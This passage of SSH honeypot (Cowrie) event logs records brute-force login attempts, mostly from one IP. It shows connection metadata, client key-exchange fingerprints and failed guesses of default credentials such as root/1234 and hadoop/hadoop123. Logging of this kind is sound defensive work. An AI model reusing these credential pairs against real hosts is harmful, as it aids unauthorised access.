m","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:46.572513Z","src_ip":"5.196.136.131","session":"1cdcbeb99f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:46.800715Z","src_ip":"5.196.136.131","session":"1cdcbeb99f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:47.879492Z","src_ip":"5.196.136.131","session":"1cdcbeb99f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:50.392489Z","src_ip":"80.94.92.234","session":"d0d0b2b679ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49870,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba01c114d35f","protocol":"ssh","message":"New connection: 5.196.136.131:49870 (10.17.0.5:22) [session: ba01c114d35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:50.845772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:50.849888Z","src_ip":"5.196.136.131","session":"ba01c114d35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:50.927059Z","src_ip":"5.196.136.131","session":"ba01c114d35f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:51.191341Z","src_ip":"5.196.136.131","session":"ba01c114d35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:52.272799Z","src_ip":"5.196.136.131","session":"ba01c114d35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:52.386128Z","src_ip":"80.94.92.234","session":"d0d0b2b679ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37076,"dst_ip":"10.17.0.5","dst_port":22,"session":"1575dbb70426","protocol":"ssh","message":"New connection: 5.196.136.131:37076 (10.17.0.5:22) [session: 1575dbb70426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:55.368922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:55.372663Z","src_ip":"5.196.136.131","session":"1575dbb70426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:55.464108Z","src_ip":"5.196.136.131","session":"1575dbb70426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:55.693267Z","src_ip":"5.196.136.131","session":"1575dbb70426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:56.772691Z","src_ip":"5.196.136.131","session":"1575dbb70426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51549,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f2de9e4ab0","protocol":"ssh","message":"New connection: 5.196.136.131:51549 (10.17.0.5:22) [session: 29f2de9e4ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:59.903052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:59.905845Z","src_ip":"5.196.136.131","session":"29f2de9e4ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:59.979814Z","src_ip":"5.196.136.131","session":"29f2de9e4ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:00.209011Z","src_ip":"5.196.136.131","session":"29f2de9e4ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:01.286908Z","src_ip":"5.196.136.131","session":"29f2de9e4ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49217,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8f6738346b","protocol":"ssh","message":"New connection: 5.196.136.131:49217 (10.17.0.5:22) [session: 7f8f6738346b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:04.310584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:04.313706Z","src_ip":"5.196.136.131","session":"7f8f6738346b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:04.390480Z","src_ip":"5.196.136.131","session":"7f8f6738346b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:04.614535Z","src_ip":"5.196.136.131","session":"7f8f6738346b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:05.692190Z","src_ip":"5.196.136.131","session":"7f8f6738346b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":21216,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f8a0782e565","protocol":"ssh","message":"New connection: 5.196.136.131:21216 (10.17.0.5:22) [session: 2f8a0782e565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:08.762999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:08.767244Z","src_ip":"5.196.136.131","session":"2f8a0782e565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:08.843717Z","src_ip":"5.196.136.131","session":"2f8a0782e565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:09.125265Z","src_ip":"5.196.136.131","session":"2f8a0782e565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:10.204714Z","src_ip":"5.196.136.131","session":"2f8a0782e565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10176,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab6e445f3d2c","protocol":"ssh","message":"New connection: 5.196.136.131:10176 (10.17.0.5:22) [session: ab6e445f3d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:13.159188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:13.162528Z","src_ip":"5.196.136.131","session":"ab6e445f3d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:13.240659Z","src_ip":"5.196.136.131","session":"ab6e445f3d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:13.470176Z","src_ip":"5.196.136.131","session":"ab6e445f3d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:14.549043Z","src_ip":"5.196.136.131","session":"ab6e445f3d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17158,"dst_ip":"10.17.0.5","dst_port":22,"session":"d085969f30bd","protocol":"ssh","message":"New connection: 5.196.136.131:17158 (10.17.0.5:22) [session: d085969f30bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:17.643234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:17.647303Z","src_ip":"5.196.136.131","session":"d085969f30bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:17.723425Z","src_ip":"5.196.136.131","session":"d085969f30bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:17.957748Z","src_ip":"5.196.136.131","session":"d085969f30bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:19.037149Z","src_ip":"5.196.136.131","session":"d085969f30bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57509,"dst_ip":"10.17.0.5","dst_port":22,"session":"10c9a21ad061","protocol":"ssh","message":"New connection: 5.196.136.131:57509 (10.17.0.5:22) [session: 10c9a21ad061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:22.023335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:22.081224Z","src_ip":"5.196.136.131","session":"10c9a21ad061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:22.157597Z","src_ip":"5.196.136.131","session":"10c9a21ad061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:22.387367Z","src_ip":"5.196.136.131","session":"10c9a21ad061","protocol":"ssh"}
